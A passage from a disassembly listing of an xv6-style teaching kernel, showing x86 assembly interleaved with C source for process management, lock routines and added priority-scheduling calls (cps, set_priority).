$0x80112900,0x8(%ebp) } 80104141: 8b 5d fc mov -0x4(%ebp),%ebx 80104144: c9 leave // Wake up all processes sleeping on chan. void wakeup(void *chan) { acquire(&ptable.lock); wakeup1(chan); release(&ptable.lock); 80104145: e9 f6 05 00 00 jmp 80104740 <release> 8010414a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104150 <kill>: // Kill the process with the given pid. // Process won't exit until it returns // to user space (see trap in trap.c). int kill(int pid) { 80104150: 55 push %ebp 80104151: 89 e5 mov %esp,%ebp 80104153: 53 push %ebx 80104154: 83 ec 10 sub $0x10,%esp 80104157: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *p; acquire(&ptable.lock); 8010415a: 68 00 29 11 80 push $0x80112900 8010415f: e8 2c 05 00 00 call 80104690 <acquire> 80104164: 83 c4 10 add $0x10,%esp for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80104167: b8 34 29 11 80 mov $0x80112934,%eax 8010416c: eb 0e jmp 8010417c <kill+0x2c> 8010416e: 66 90 xchg %ax,%ax 80104170: 05 ac 00 00 00 add $0xac,%eax 80104175: 3d 34 54 11 80 cmp $0x80115434,%eax 8010417a: 74 3c je 801041b8 <kill+0x68> { if (p->pid == pid) 8010417c: 39 58 10 cmp %ebx,0x10(%eax) 8010417f: 75 ef jne 80104170 <kill+0x20> { p->killed = 1; // Wake process from sleep if necessary. if (p->state == SLEEPING) 80104181: 83 78 0c 02 cmpl $0x2,0xc(%eax) acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->pid == pid) { p->killed = 1; 80104185: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) // Wake process from sleep if necessary. if (p->state == SLEEPING) 8010418c: 74 1a je 801041a8 <kill+0x58> p->state = RUNNABLE; release(&ptable.lock); 8010418e: 83 ec 0c sub $0xc,%esp 80104191: 68 00 29 11 80 push $0x80112900 80104196: e8 a5 05 00 00 call 80104740 <release> return 0; 8010419b: 83 c4 10 add $0x10,%esp 8010419e: 31 c0 xor %eax,%eax } } release(&ptable.lock); return -1; } 801041a0: 8b 5d fc mov -0x4(%ebp),%ebx 801041a3: c9 leave 801041a4: c3 ret 801041a5: 8d 76 00 lea 0x0(%esi),%esi if (p->pid == pid) { p->killed = 1; // Wake process from sleep if necessary. if (p->state == SLEEPING) p->state = RUNNABLE; 801041a8: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 801041af: eb dd jmp 8010418e <kill+0x3e> 801041b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); return 0; } } release(&ptable.lock); 801041b8: 83 ec 0c sub $0xc,%esp 801041bb: 68 00 29 11 80 push $0x80112900 801041c0: e8 7b 05 00 00 call 80104740 <release> return -1; 801041c5: 83 c4 10 add $0x10,%esp 801041c8: b8 ff ff ff ff mov $0xffffffff,%eax } 801041cd: 8b 5d fc mov -0x4(%ebp),%ebx 801041d0: c9 leave 801041d1: c3 ret 801041d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801041d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801041e0 <procdump>: //PAGEBREAK: 36 // Print a process listing to console. For debugging. // Runs when user types ^P on console. // No lock to avoid wedging a stuck machine further. void procdump(void) { 801041e0: 55 push %ebp 801041e1: 89 e5 mov %esp,%ebp 801041e3: 57 push %edi 801041e4: 56 push %esi 801041e5: 53 push %ebx 801041e6: 8d 75 e8 lea -0x18(%ebp),%esi 801041e9: bb a0 29 11 80 mov $0x801129a0,%ebx 801041ee: 83 ec 3c sub $0x3c,%esp 801041f1: eb 27 jmp 8010421a <procdump+0x3a> 801041f3: 90 nop 801041f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi { getcallerpcs((uint *)p->context->ebp + 2, pc); for (i = 0; i < 10 && pc[i] != 0; i++) cprintf(" %p", pc[i]); } cprintf("\n"); 801041f8: 83 ec 0c sub $0xc,%esp 801041fb: 68 63 7d 10 80 push $0x80107d63 80104200: e8 5b c4 ff ff call 80100660 <cprintf> 80104205: 83 c4 10 add $0x10,%esp 80104208: 81 c3 ac 00 00 00 add $0xac,%ebx int i; struct proc *p; char *state; uint pc[10]; for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) 8010420e: 81 fb a0 54 11 80 cmp $0x801154a0,%ebx 80104214: 0f 84 7e 00 00 00 je 80104298 <procdump+0xb8> { if (p->state == UNUSED) 8010421a: 8b 43 a0 mov -0x60(%ebx),%eax 8010421d: 85 c0 test %eax,%eax 8010421f: 74 e7 je 80104208 <procdump+0x28> continue; if (p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104221: 83 f8 05 cmp $0x5,%eax state = states[p->state]; else state = "???"; 80104224: ba 40 79 10 80 mov $0x80107940,%edx for (p = ptable.proc; p < &ptable.proc[NPROC]; p++) { if (p->state == UNUSED) continue; if (p->state >= 0 && p->state < NELEM(states) && states[p->state]) 80104229: 77 11 ja 8010423c <procdump+0x5c> 8010422b: 8b 14 85 74 7a 10 80 mov -0x7fef858c(,%eax,4),%edx state = states[p->state]; else state = "???"; 80104232: b8 40 79 10 80 mov $0x80107940,%eax 80104237: 85 d2 test %edx,%edx 80104239: 0f 44 d0 cmove %eax,%edx cprintf("%d %s %s", p->pid, state, p->name); 8010423c: 53 push %ebx 8010423d: 52 push %edx 8010423e: ff 73 a4 pushl -0x5c(%ebx) 80104241: 68 44 79 10 80 push $0x80107944 80104246: e8 15 c4 ff ff call 80100660 <cprintf> if (p->state == SLEEPING) 8010424b: 83 c4 10 add $0x10,%esp 8010424e: 83 7b a0 02 cmpl $0x2,-0x60(%ebx) 80104252: 75 a4 jne 801041f8 <procdump+0x18> { getcallerpcs((uint *)p->context->ebp + 2, pc); 80104254: 8d 45 c0 lea -0x40(%ebp),%eax 80104257: 83 ec 08 sub $0x8,%esp 8010425a: 8d 7d c0 lea -0x40(%ebp),%edi 8010425d: 50 push %eax 8010425e: 8b 43 b0 mov -0x50(%ebx),%eax 80104261: 8b 40 0c mov 0xc(%eax),%eax 80104264: 83 c0 08 add $0x8,%eax 80104267: 50 push %eax 80104268: e8 e3 02 00 00 call 80104550 <getcallerpcs> 8010426d: 83 c4 10 add $0x10,%esp for (i = 0; i < 10 && pc[i] != 0; i++) 80104270: 8b 17 mov (%edi),%edx 80104272: 85 d2 test %edx,%edx 80104274: 74 82 je 801041f8 <procdump+0x18> cprintf(" %p", pc[i]); 80104276: 83 ec 08 sub $0x8,%esp 80104279: 83 c7 04 add $0x4,%edi 8010427c: 52 push %edx 8010427d: 68 61 73 10 80 push $0x80107361 80104282: e8 d9 c3 ff ff call 80100660 <cprintf> state = "???"; cprintf("%d %s %s", p->pid, state, p->name); if (p->state == SLEEPING) { getcallerpcs((uint *)p->context->ebp + 2, pc); for (i = 0; i < 10 && pc[i] != 0; i++) 80104287: 83 c4 10 add $0x10,%esp 8010428a: 39 f7 cmp %esi,%edi 8010428c: 75 e2 jne 80104270 <procdump+0x90> 8010428e: e9 65 ff ff ff jmp 801041f8 <procdump+0x18> 80104293: 90 nop 80104294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf(" %p", pc[i]); } cprintf("\n"); } } 80104298: 8d 65 f4 lea -0xc(%ebp),%esp 8010429b: 5b pop %ebx 8010429c: 5e pop %esi 8010429d: 5f pop %edi 8010429e: 5d pop %ebp 8010429f: c3 ret 801042a0 <cps>: int cps() { 801042a0: 55 push %ebp 801042a1: 89 e5 mov %esp,%ebp 801042a3: 53 push %ebx 801042a4: 83 ec 10 sub $0x10,%esp } static inline void sti(void) { asm volatile("sti"); 801042a7: fb sti // Enable interrupts on this processor. sti(); // Loop over process table looking for process with pid. acquire(&ptable.lock); 801042a8: 68 00 29 11 80 push $0x80112900 801042ad: bb a0 29 11 80 mov $0x801129a0,%ebx 801042b2: e8 d9 03 00 00 call 80104690 <acquire> cprintf("name \t pid \t state \t \t priority \t ctime\n"); 801042b7: c7 04 24 a0 79 10 80 movl $0x801079a0,(%esp) 801042be: e8 9d c3 ff ff call 80100660 <cprintf> 801042c3: 83 c4 10 add $0x10,%esp 801042c6: eb 20 jmp 801042e8 <cps+0x48> 801042c8: 90 nop 801042c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi { if (p->state == SLEEPING) { cprintf("%s \t %d \t SLEEPING \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); } else if (p->state == RUNNING) 801042d0: 83 f8 04 cmp $0x4,%eax 801042d3: 74 5b je 80104330 <cps+0x90> { cprintf("%s \t %d \t RUNNING \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); } else if (p->state == RUNNABLE) 801042d5: 83 f8 03 cmp $0x3,%eax 801042d8: 74 76 je 80104350 <cps+0xb0> 801042da: 81 c3 ac 00 00 00 add $0xac,%ebx sti(); // Loop over process table looking for process with pid. acquire(&ptable.lock); cprintf("name \t pid \t state \t \t priority \t ctime\n"); for (p = ptable.proc; p < &ptable.proc[NPROC]; ++p) 801042e0: 81 fb a0 54 11 80 cmp $0x801154a0,%ebx 801042e6: 74 30 je 80104318 <cps+0x78> { if (p->state == SLEEPING) 801042e8: 8b 43 a0 mov -0x60(%ebx),%eax 801042eb: 83 f8 02 cmp $0x2,%eax 801042ee: 75 e0 jne 801042d0 <cps+0x30> { cprintf("%s \t %d \t SLEEPING \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); 801042f0: 83 ec 0c sub $0xc,%esp 801042f3: ff 73 10 pushl 0x10(%ebx) 801042f6: ff 73 20 pushl 0x20(%ebx) 801042f9: ff 73 a4 pushl -0x5c(%ebx) 801042fc: 53 push %ebx 801042fd: 81 c3 ac 00 00 00 add $0xac,%ebx 80104303: 68 cc 79 10 80 push $0x801079cc 80104308: e8 53 c3 ff ff call 80100660 <cprintf> 8010430d: 83 c4 20 add $0x20,%esp sti(); // Loop over process table looking for process with pid. acquire(&ptable.lock); cprintf("name \t pid \t state \t \t priority \t ctime\n"); for (p = ptable.proc; p < &ptable.proc[NPROC]; ++p) 80104310: 81 fb a0 54 11 80 cmp $0x801154a0,%ebx 80104316: 75 d0 jne 801042e8 <cps+0x48> else if (p->state == RUNNABLE) { cprintf("%s \t %d \t RUNNABLE \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); } } release(&ptable.lock); 80104318: 83 ec 0c sub $0xc,%esp 8010431b: 68 00 29 11 80 push $0x80112900 80104320: e8 1b 04 00 00 call 80104740 <release> return 22; } 80104325: b8 16 00 00 00 mov $0x16,%eax 8010432a: 8b 5d fc mov -0x4(%ebp),%ebx 8010432d: c9 leave 8010432e: c3 ret 8010432f: 90 nop { cprintf("%s \t %d \t SLEEPING \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); } else if (p->state == RUNNING) { cprintf("%s \t %d \t RUNNING \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); 80104330: 83 ec 0c sub $0xc,%esp 80104333: ff 73 10 pushl 0x10(%ebx) 80104336: ff 73 20 pushl 0x20(%ebx) 80104339: ff 73 a4 pushl -0x5c(%ebx) 8010433c: 53 push %ebx 8010433d: 68 ec 79 10 80 push $0x801079ec 80104342: e8 19 c3 ff ff call 80100660 <cprintf> 80104347: 83 c4 20 add $0x20,%esp 8010434a: eb 8e jmp 801042da <cps+0x3a> 8010434c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } else if (p->state == RUNNABLE) { cprintf("%s \t %d \t RUNNABLE \t %d \t\t %d\n", p->name, p->pid, p->priority, p->stime); 80104350: 83 ec 0c sub $0xc,%esp 80104353: ff 73 10 pushl 0x10(%ebx) 80104356: ff 73 20 pushl 0x20(%ebx) 80104359: ff 73 a4 pushl -0x5c(%ebx) 8010435c: 53 push %ebx 8010435d: 68 0c 7a 10 80 push $0x80107a0c 80104362: e8 f9 c2 ff ff call 80100660 <cprintf> 80104367: 83 c4 20 add $0x20,%esp 8010436a: e9 6b ff ff ff jmp 801042da <cps+0x3a> 8010436f: 90 nop 80104370 <set_priority>: return 22; } int set_priority(int pid, int priority) { 80104370: 55 push %ebp 80104371: 89 e5 mov %esp,%ebp 80104373: 57 push %edi 80104374: 56 push %esi 80104375: 53 push %ebx struct proc *p; int prev = 0; acquire(&ptable.lock); for (p = ptable.proc; p < &ptable.proc[NPROC]; ++p) 80104376: bb 34 29 11 80 mov $0x80112934,%ebx return 22; } int set_priority(int pid, int priority) { 8010437b: 83 ec 18 sub $0x18,%esp 8010437e: 8b 7d 08 mov 0x8(%ebp),%edi struct proc *p; int prev = 0; acquire(&ptable.lock); 80104381: 68 00 29 11 80 push $0x80112900 80104386: e8 05 03 00 00 call 80104690 <acquire> 8010438b: 83 c4 10 add $0x10,%esp 8010438e: eb 0e jmp 8010439e <set_priority+0x2e> for (p = ptable.proc; p < &ptable.proc[NPROC]; ++p) 80104390: 81 c3 ac 00 00 00 add $0xac,%ebx 80104396: 81 fb 34 54 11 80 cmp $0x80115434,%ebx 8010439c: 74 52 je 801043f0 <set_priority+0x80> { if (p->pid == pid) 8010439e: 39 7b 10 cmp %edi,0x10(%ebx) 801043a1: 75 ed jne 80104390 <set_priority+0x20> { prev = p->priority; 801043a3: 8b b3 8c 00 00 00 mov 0x8c(%ebx),%esi cprintf("Previous priority of\t PID %d is %d\n", pid, prev); 801043a9: 83 ec 04 sub $0x4,%esp 801043ac: 56 push %esi 801043ad: 57 push %edi 801043ae: 68 2c 7a 10 80 push $0x80107a2c 801043b3: e8 a8 c2 ff ff call 80100660 <cprintf> p->priority = priority; 801043b8: 8b 45 0c mov 0xc(%ebp),%eax cprintf("Current priority of\t PID %d is %d\n", pid, priority); 801043bb: 83 c4 0c add $0xc,%esp 801043be: 50 push %eax 801043bf: 57 push %edi 801043c0: 68 50 7a 10 80 push $0x80107a50 { if (p->pid == pid) { prev = p->priority; cprintf("Previous priority of\t PID %d is %d\n", pid, prev); p->priority = priority; 801043c5: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx) cprintf("Current priority of\t PID %d is %d\n", pid, priority); 801043cb: e8 90 c2 ff ff call 80100660 <cprintf> break; 801043d0: 83 c4 10 add $0x10,%esp } } release(&ptable.lock); 801043d3: 83 ec 0c sub $0xc,%esp 801043d6: 68 00 29 11 80 push $0x80112900 801043db: e8 60 03 00 00 call 80104740 <release> return prev; //return pid; } 801043e0: 8d 65 f4 lea -0xc(%ebp),%esp 801043e3: 89 f0 mov %esi,%eax 801043e5: 5b pop %ebx 801043e6: 5e pop %esi 801043e7: 5f pop %edi 801043e8: 5d pop %ebp 801043e9: c3 ret 801043ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } int set_priority(int pid, int priority) { struct proc *p; int prev = 0; 801043f0: 31 f6 xor %esi,%esi 801043f2: eb df jmp 801043d3 <set_priority+0x63> 801043f4: 66 90 xchg %ax,%ax 801043f6: 66 90 xchg %ax,%ax 801043f8: 66 90 xchg %ax,%ax 801043fa: 66 90 xchg %ax,%ax 801043fc: 66 90 xchg %ax,%ax 801043fe: 66 90 xchg %ax,%ax 80104400 <initsleeplock>: #include "spinlock.h" #include "sleeplock.h" void initsleeplock(struct sleeplock *lk, char *name) { 80104400: 55 push %ebp 80104401: 89 e5 mov %esp,%ebp 80104403: 53 push %ebx 80104404: 83 ec 0c sub $0xc,%esp 80104407: 8b 5d 08 mov 0x8(%ebp),%ebx initlock(&lk->lk, "sleep lock"); 8010440a: 68 8c 7a 10 80 push $0x80107a8c 8010440f: 8d 43 04 lea 0x4(%ebx),%eax 80104412: 50 push %eax 80104413: e8 18 01 00 00 call 80104530 <initlock> lk->name = name; 80104418: 8b 45 0c mov 0xc(%ebp),%eax lk->locked = 0; 8010441b: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; } 80104421: 83 c4 10 add $0x10,%esp initsleeplock(struct sleeplock *lk, char *name) { initlock(&lk->lk, "sleep lock"); lk->name = name; lk->locked = 0; lk->pid = 0; 80104424: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) void initsleeplock(struct sleeplock *lk, char *name) { initlock(&lk->lk, "sleep lock"); lk->name = name; 8010442b: 89 43 38 mov %eax,0x38(%ebx) lk->locked = 0; lk->pid = 0; } 8010442e: 8b 5d fc mov -0x4(%ebp),%ebx 80104431: c9 leave 80104432: c3 ret 80104433: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104439: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104440 <acquiresleep>: void acquiresleep(struct sleeplock *lk) { 80104440: 55 push %ebp 80104441: 89 e5 mov %esp,%ebp 80104443: 56 push %esi 80104444: 53 push %ebx 80104445: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 80104448: 83 ec 0c sub $0xc,%esp 8010444b: 8d 73 04 lea 0x4(%ebx),%esi 8010444e: 56 push %esi 8010444f: e8 3c 02 00 00 call 80104690 <acquire> while (lk->locked) { 80104454: 8b 13 mov (%ebx),%edx 80104456: 83 c4 10 add $0x10,%esp 80104459: 85 d2 test %edx,%edx 8010445b: 74 16 je 80104473 <acquiresleep+0x33> 8010445d: 8d 76 00 lea 0x0(%esi),%esi sleep(lk, &lk->lk); 80104460: 83 ec 08 sub $0x8,%esp 80104463: 56 push %esi 80104464: 53 push %ebx 80104465: e8 96 f9 ff ff call 80103e00 <sleep> void acquiresleep(struct sleeplock *lk) { acquire(&lk->lk); while (lk->locked) { 8010446a: 8b 03 mov (%ebx),%eax 8010446c: 83 c4 10 add $0x10,%esp 8010446f: 85 c0 test %eax,%eax 80104471: 75 ed jne 80104460 <acquiresleep+0x20> sleep(lk, &lk->lk); } lk->locked = 1; 80104473: c7 03 01 00 00 00 movl $0x1,(%ebx) lk->pid = myproc()->pid; 80104479: e8 32 f3 ff ff call 801037b0 <myproc> 8010447e: 8b 40 10 mov 0x10(%eax),%eax 80104481: 89 43 3c mov %eax,0x3c(%ebx) release(&lk->lk); 80104484: 89 75 08 mov %esi,0x8(%ebp) } 80104487: 8d 65 f8 lea -0x8(%ebp),%esp 8010448a: 5b pop %ebx 8010448b: 5e pop %esi 8010448c: 5d pop %ebp while (lk->locked) { sleep(lk, &lk->lk); } lk->locked = 1; lk->pid = myproc()->pid; release(&lk->lk); 8010448d: e9 ae 02 00 00 jmp 80104740 <release> 80104492: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801044a0 <releasesleep>: } void releasesleep(struct sleeplock *lk) { 801044a0: 55 push %ebp 801044a1: 89 e5 mov %esp,%ebp 801044a3: 56 push %esi 801044a4: 53 push %ebx 801044a5: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&lk->lk); 801044a8: 83 ec 0c sub $0xc,%esp 801044ab: 8d 73 04 lea 0x4(%ebx),%esi 801044ae: 56 push %esi 801044af: e8 dc 01 00 00 call 80104690 <acquire> lk->locked = 0; 801044b4: c7 03 00 00 00 00 movl $0x0,(%ebx) lk->pid = 0; 801044ba: c7 43 3c 00 00 00 00 movl $0x0,0x3c(%ebx) wakeup(lk); 801044c1: 89 1c 24 mov %ebx,(%esp) 801044c4: e8 27 fc ff ff call 801040f0 <wakeup> release(&lk->lk); 801044c9: 89 75 08 mov %esi,0x8(%ebp) 801044cc: 83 c4 10 add $0x10,%esp } 801044cf: 8d 65 f8 lea -0x8(%ebp),%esp 801044d2: 5b pop %ebx 801044d3: 5e pop %esi 801044d4: 5d pop %ebp { acquire(&lk->lk); lk->locked = 0; lk->pid = 0; wakeup(lk); release(&lk->lk); 801044d5: e9 66 02 00 00 jmp 80104740 <release> 801044da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801044e0 <holdingsleep>: } int holdingsleep(struct sleeplock *lk) { 801044e0: 55 push %ebp 801044e1: 89 e5 mov %esp,%ebp 801044e3: 57 push %edi 801044e4: 56 push %esi 801044e5: 53 push %ebx 801044e6: 31 ff xor %edi,%edi 801044e8: 83 ec 18 sub $0x18,%esp 801044eb: 8b 5d 08 mov 0x8(%ebp),%ebx int r; acquire(&lk->lk); 801044ee: 8d 73 04 lea 0x4(%ebx),%esi 801044f1: 56 push %esi 801044f2: e8 99 01 00 00 call 80104690 <acquire> r = lk->locked && (lk->pid == myproc()->pid); 801044f7: 8b 03 mov (%ebx),%eax 801044f9: 83 c4 10 add $0x10,%esp 801044fc: 85 c0 test %eax,%eax 801044fe: 74 13 je 80104513 <holdingsleep+0x33> 80104500: 8b 5b 3c mov 0x3c(%ebx),%ebx 80104503: e8 a8 f2 ff ff call 801037b0 <myproc> 80104508: 39 58 10 cmp %ebx,0x10(%eax) 8010450b: 0f 94 c0 sete %al 8010450e: 0f b6 c0 movzbl %al,%eax 80104511: 89 c7 mov %eax,%edi release(&lk->lk); 80104513: 83 ec 0c sub $0xc,%esp 80104516: 56 push %esi 80104517: e8 24 02 00 00 call 80104740 <release> return r; } 8010451c: 8d 65 f4 lea -0xc(%ebp),%esp 8010451f: 89 f8 mov %edi,%eax 80104521: 5b pop %ebx 80104522: 5e pop %esi 80104523: 5f pop %edi 80104524: 5d pop %ebp 80104525: c3 ret 80104526: 66 90 xchg %ax,%ax 80104528: 66 90 xchg %ax,%ax 8010452a: 66 90 xchg %ax,%ax 8010452c: 66 90 xchg %ax,%ax 8010452e: 66 90 xchg %ax,%ax 80104530 <initlock>: #include "proc.h" #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { 80104530: 55 push %ebp 80104531: 89 e5 mov %esp,%ebp 80104533: 8b 45 08 mov 0x8(%ebp),%eax lk->name = name; 80104536: 8b 55 0c mov 0xc(%ebp),%edx lk->locked = 0; 80104539: c7 00 00 00 00 00 movl $0x0,(%eax) #include "spinlock.h" void initlock(struct spinlock *lk, char *name) { lk->name = name; 8010453f: 89 50 04 mov %edx,0x4(%eax) lk->locked = 0; lk->cpu = 0; 80104542: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 80104549: 5d pop %ebp 8010454a: c3 ret 8010454b: 90 nop 8010454c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104550 <getcallerpcs>: } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104550: 55 push %ebp 80104551: 89 e5 mov %esp,%ebp 80104553: 53 push %ebx uint *ebp; int i; ebp = (uint*)v - 2; 80104554: 8b 45 08 mov 0x8(%ebp),%eax } // Record the current call stack in pcs[] by following the %ebp chain. void getcallerpcs(void *v, uint pcs[]) { 80104557: 8b 4d 0c mov 0xc(%ebp),%ecx uint *ebp; int i; ebp = (uint*)v - 2; 8010455a: 8d 50 f8 lea -0x8(%eax),%edx for(i = 0; i < 10; i++){ 8010455d: 31 c0 xor %eax,%eax 8010455f: 90 nop if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) 80104560: 8d 9a 00 00 00 80 lea -0x80000000(%edx),%ebx 80104566: 81 fb fe ff ff 7f cmp $0x7ffffffe,%ebx 8010456c: 77 1a ja 80104588 <getcallerpcs+0x38> break; pcs[i] = ebp[1]; // saved %eip 8010456e: 8b 5a 04 mov 0x4(%edx),%ebx 80104571: 89 1c 81 mov %ebx,(%ecx,%eax,4) { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104574: 83 c0 01 add $0x1,%eax if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp 80104577: 8b 12 mov (%edx),%edx { uint *ebp; int i; ebp = (uint*)v - 2; for(i = 0; i < 10; i++){ 80104579: 83 f8 0a cmp $0xa,%eax 8010457c: 75 e2 jne 80104560 <getcallerpcs+0x10> pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; } 8010457e: 5b pop %ebx 8010457f: 5d pop %ebp 80104580: c3 ret 80104581: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) pcs[i] = 0; 80104588: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010458f: 83 c0 01 add $0x1,%eax 80104592: 83 f8 0a cmp $0xa,%eax 80104595: 74 e7 je 8010457e <getcallerpcs+0x2e> pcs[i] = 0; 80104597: c7 04 81 00 00 00 00 movl $0x0,(%ecx,%eax,4) if(ebp == 0 || ebp < (uint*)KERNBASE || ebp == (uint*)0xffffffff) break; pcs[i] = ebp[1]; // saved %eip ebp = (uint*)ebp[0]; // saved %ebp } for(; i < 10; i++) 8010459e: 83 c0 01 add $0x1,%eax 801045a1: 83 f8 0a cmp $0xa,%eax 801045a4: 75 e2 jne 80104588 <getcallerpcs+0x38> 801045a6: eb d6 jmp 8010457e <getcallerpcs+0x2e> 801045a8: 90 nop 801045a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045b0 <pushcli>: // it takes two popcli to undo two pushcli. Also, if interrupts // are off, then pushcli, popcli leaves them off. void pushcli(void) { 801045b0: 55 push %ebp 801045b1: 89 e5 mov %esp,%ebp 801045b3: 53 push %ebx 801045b4: 83 ec 04 sub $0x4,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 801045b7: 9c pushf 801045b8: 5b pop %ebx } static inline void cli(void) { asm volatile("cli"); 801045b9: fa cli int eflags; eflags = readeflags(); cli(); if(mycpu()->ncli == 0) 801045ba: e8 51 f1 ff ff call 80103710 <mycpu> 801045bf: 8b 80 a4 00 00 00 mov 0xa4(%eax),%eax 801045c5: 85 c0 test %eax,%eax 801045c7: 75 11 jne 801045da <pushcli+0x2a> mycpu()->intena = eflags & FL_IF; 801045c9: 81 e3 00 02 00 00 and $0x200,%ebx 801045cf: e8 3c f1 ff ff call 80103710 <mycpu> 801045d4: 89 98 a8 00 00 00 mov %ebx,0xa8(%eax) mycpu()->ncli += 1; 801045da: e8 31 f1 ff ff call 80103710 <mycpu> 801045df: 83 80 a4 00 00 00 01 addl $0x1,0xa4(%eax) } 801045e6: 83 c4 04 add $0x4,%esp 801045e9: 5b pop %ebx 801045ea: 5d pop %ebp 801045eb: c3 ret 801045ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801045f0 <popcli>: void popcli(void) { 801045f0: 55 push %ebp 801045f1: 89 e5 mov %esp,%ebp 801045f3: 83 ec 08 sub $0x8,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 801045f6: 9c pushf 801045f7: 58 pop %eax if(readeflags()&FL_IF) 801045f8: f6 c4 02 test $0x2,%ah 801045fb: 75 52 jne 8010464f <popcli+0x5f> panic("popcli - interruptible"); if(--mycpu()->ncli < 0) 801045fd: e8 0e f1 ff ff call 80103710 <mycpu> 80104602: 8b 88 a4 00 00 00 mov 0xa4(%eax),%ecx 80104608: 8d 51 ff lea -0x1(%ecx),%edx 8010460b: 85 d2 test %edx,%edx 8010460d: 89 90 a4 00 00 00 mov %edx,0xa4(%eax) 80104613: 78 2d js 80104642 <popcli+0x52> panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 80104615: e8 f6 f0 ff ff call 80103710 <mycpu> 8010461a: 8b 90 a4 00 00 00 mov 0xa4(%eax),%edx 80104620: 85 d2 test %edx,%edx 80104622: 74 0c je 80104630 <popcli+0x40> sti(); } 80104624: c9 leave 80104625: c3 ret 80104626: 8d 76 00 lea 0x0(%esi),%esi 80104629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); if(mycpu()->ncli == 0 && mycpu()->intena) 80104630: e8 db f0 ff ff call 80103710 <mycpu> 80104635: 8b 80 a8 00 00 00 mov 0xa8(%eax),%eax 8010463b: 85 c0 test %eax,%eax 8010463d: 74 e5 je 80104624 <popcli+0x34> } static inline void sti(void) { asm volatile("sti"); 8010463f: fb sti sti(); } 80104640: c9 leave 80104641: c3 ret popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); if(--mycpu()->ncli < 0) panic("popcli"); 80104642: 83 ec 0c sub $0xc,%esp 80104645: 68 ae 7a 10 80 push $0x80107aae 8010464a: e8 21 bd ff ff call 80100370 <panic> void popcli(void) { if(readeflags()&FL_IF) panic("popcli - interruptible"); 8010464f: 83 ec 0c sub $0xc,%esp 80104652: 68 97 7a 10 80 push $0x80107a97 80104657: e8 14 bd ff ff call 80100370 <panic> 8010465c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104660 <holding>: } // Check whether this cpu is holding the lock. int holding(struct spinlock *lock) { 80104660: 55 push %ebp 80104661: 89 e5 mov %esp,%ebp 80104663: 56 push %esi 80104664: 53 push %ebx 80104665: 8b 75 08 mov 0x8(%ebp),%esi 80104668: 31 db xor %ebx,%ebx int r; pushcli(); 8010466a: e8 41 ff ff ff call 801045b0 <pushcli> r = lock->locked && lock->cpu == mycpu(); 8010466f: 8b 06 mov (%esi),%eax 80104671: 85 c0 test %eax,%eax 80104673: 74 10 je 80104685 <holding+0x25> 80104675: 8b 5e 08 mov 0x8(%esi),%ebx 80104678: e8 93 f0 ff ff call 80103710 <mycpu> 8010467d: 39 c3 cmp %eax,%ebx 